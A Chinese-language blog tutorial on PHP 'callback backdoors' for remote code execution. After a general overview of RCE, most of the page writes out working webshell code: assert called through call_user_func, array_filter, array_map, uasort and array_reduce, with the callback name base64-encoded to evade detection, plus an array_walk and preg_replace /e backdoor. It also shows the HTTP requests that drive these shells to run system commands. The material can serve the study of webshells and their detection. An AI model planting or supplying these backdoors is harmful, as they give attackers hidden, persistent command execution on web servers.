RCE学习:关于回调后门的一些小知识点

发布于:2025-04-01 ⋅ 阅读:(24) ⋅ 点赞:(0)

目录

RCE简介

定义

攻击方式

危害

RCE回调后门

回调后门

数组操作造成的单参数回调后门

php5.4.8中的assert

三参数回调函数


RCE简介

RCE 是 Remote Code Execution 的缩写,即远程代码执行。以下是关于它的简介:

定义

RCE 是一种严重的安全漏洞,攻击者通过各种手段,利用目标系统的漏洞,在目标系统上远程执行恶意代码,从而控制目标系统,获取敏感信息或进行其他恶意操作。

攻击方式

利用软件漏洞:许多软件在开发过程中可能存在未被发现的漏洞,如缓冲区溢出、SQL 注入、命令注入等。攻击者可以通过构造特殊的输入,利用这些漏洞来执行任意代码。例如,在 Web 应用程序中,如果没有对用户输入进行严格的验证和过滤,攻击者可能通过在表单中输入恶意代码,利用 SQL 注入漏洞获取数据库的控制权,进而执行系统命令。

利用配置错误:服务器或应用程序的错误配置也可能导致 RCE 漏洞。例如,将某些敏感文件或目录设置为可执行权限,或者允许不受信任的用户执行特定的命令,都可能被攻击者利用。

利用第三方组件漏洞:现代软件系统通常依赖大量的第三方组件和库。如果这些第三方组件存在安全漏洞,攻击者就有可能通过它们来攻击整个系统。比如,某个应用程序使用了一个存在远程代码执行漏洞的开源库,攻击者就可以利用这个漏洞来攻击该应用程序所在的服务器。

危害

数据泄露:攻击者可以通过执行恶意代码来获取目标系统上的敏感信息,如用户账号、密码、信用卡信息、企业机密数据等,并将这些数据传输到自己的服务器,造成数据泄露。

系统破坏:攻击者可以利用 RCE 漏洞删除重要文件、破坏系统配置,导致系统无法正常运行,甚至造成整个系统瘫痪,影响业务的正常开展。

权限提升:一旦攻击者在目标系统上获得了一定的执行权限,他们可能会尝试通过各种手段提升权限,获取系统管理员或其他高级用户的权限,从而对系统进行更深入的攻击和控制。

进一步传播:被入侵的系统可能会被攻击者用作跳板,进一步攻击其他与之相连的系统,扩大攻击范围,造成更大的危害。

RCE回调后门

回调后门

1.php中call_user_func是执行回调函数的标准方法:

call_user_func('assert', $_REQUEST['pass']);
  • call_user_func 函数:它是 PHP 的一个内置函数,用于动态调用指定的函数。该函数的第一个参数是要调用的函数名,后续的参数会依次传递给被调用的函数。

  • assert 函数assert 函数在 PHP 中用于执行断言。在 PHP 中,如果断言的表达式为假,那么会触发一个警告或者错误。在 PHP 5.x 版本中,如果 assert 函数的参数是一个字符串,它会被当作 PHP 代码来执行。从 PHP 7.0 开始,默认情况下 assert 不会将字符串参数当作代码执行,但可以通过配置改变这一行为。

  • $_REQUEST['pass']$_REQUEST 是 PHP 的一个超全局变量,它可以获取通过 GETPOST 或者 COOKIE 方式传递的参数。这里是获取名为 pass 的参数值。

综合起来,这行代码的作用是将用户通过请求传递的 pass 参数作为 assert 函数的参数进行调用。

php7.3警告使用assert()是过时的

php8开始后,该方法不再使用。

2.assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

call_user_func_array('assert', array($_REQUEST['pass']));
  • call_user_func_array 函数:同样是用于动态调用函数,与 call_user_func 不同的是,它的第二个参数是一个数组,数组中的元素会依次作为参数传递给被调用的函数。

  • assert 函数:和上面一样,是 PHP 的断言函数。

  • array($_REQUEST['pass']):创建一个只包含用户请求中 pass 参数值的数组。

数组操作造成的单参数回调后门

1.array_filter

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

array_filter是 PHP 内置函数,其用途是使用回调函数过滤数组中的元素。它接收两个参数:

  • 第一个参数是待过滤的数组,这里是 $arr

  • 第二个参数是回调函数,用于定义过滤规则。在这个例子里,回调函数是通过对 $e 进行 Base64 解码得到的。

e=assert

base64编码,即

e=YXNzZXJ0

2.array_map

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

array_map是 PHP 的一个内置函数,它的作用是将回调函数应用到给定数组的每个元素上,并返回一个包含所有处理结果的新数组。这里,它接收两个参数:

  • 第一个参数是回调函数,即经过 Base64 解码后的 $e

  • 第二个参数是要处理的数组,即 $arr

php5.4.8中的assert

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

这个后门在php5.3时会报错,提示assert只能有一个参数:

php版本改作5.4后就可以执行了:

1.

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

php5.3:

php5.4:

2.

<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

三参数回调函数

从 PHP 4 版本开始就支持回调函数接受三个参数,并且在后续的 PHP 版本中一直保持着这种兼容性。

回调其实也可以接受三个参数,php中,可以执行代码的函数:

  1. 一个参数:assert

  2. 两个参数:assert (php5.4.8+)

  3. 三个参数:preg_replace /e模式

三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

1.漏洞触发条件

  1. /e修饰符存在 数组值 |.*|e 是正则表达式,其中 e 修饰符允许执行替换字符串中的代码。

  2. 用户控制关键参数

    • $e 参数控制回调函数(需设置为 preg_replace

    • $_POST['pass'] 控制替换字符串(即正则替换的第二个参数)

  3. 参数传递顺序 array_walk 会以 (value, key, userdata) 顺序传递参数,对应到 preg_replace 的参数为:

    preg_replace($value, $key, $userdata)

    即:

    • 模式(Pattern): |.*|e(匹配任意内容)

    • 替换字符串(Replacement): $_POST['pass'](用户完全可控)

    • 主题(Subject): ''(空字符串)

2.漏洞利用步骤

构造恶意请求

攻击者发送以下HTTP请求

POST /vuln.php HTTP/1.1
...
e=preg_replace&pass=${@eval($_POST[x])}

参数解析结果

  • $e 被赋值为 preg_replace

  • 数组 $arr 变为:

    array('${@eval($_POST[x])}' => '|.*|e')

代码实际执行逻辑

array_walk 触发时,实际调用:

preg_replace(
    '|.*|e',               // 正则模式(匹配所有内容)
    '${@eval($_POST[x])}', // 替换字符串(用户控制)
    ''                     // 主题字符串(空)
);

3.漏洞触发原理

  • 正则匹配:模式 |.*|e 会匹配主题字符串中的任意内容(即使主题为空,PHP仍会尝试匹配)

  • 替换执行:由于 /e 修饰符,替换字符串 ${@eval($_POST[x])} 会被解析为:

    eval($_POST[x]) // 动态执行POST参数x中的代码
  • 代码执行:攻击者通过POST传递 x 参数执行任意命令:

    POST /vuln.php HTTP/1.1
    ...
    x=system('whoami');

    服务器将执行 system('whoami') 并返回结果。

preg_replace函数

preg_replace — 执行一个正则表达式的搜索和替换
preg_replace(
    string|array $pattern,
    string|array $replacement,
    string|array $subject,
    int $limit = -1,
    int &$count = null
): string|array|null
​
搜索subject中匹配pattern的部分,以replacement进行替换。 
​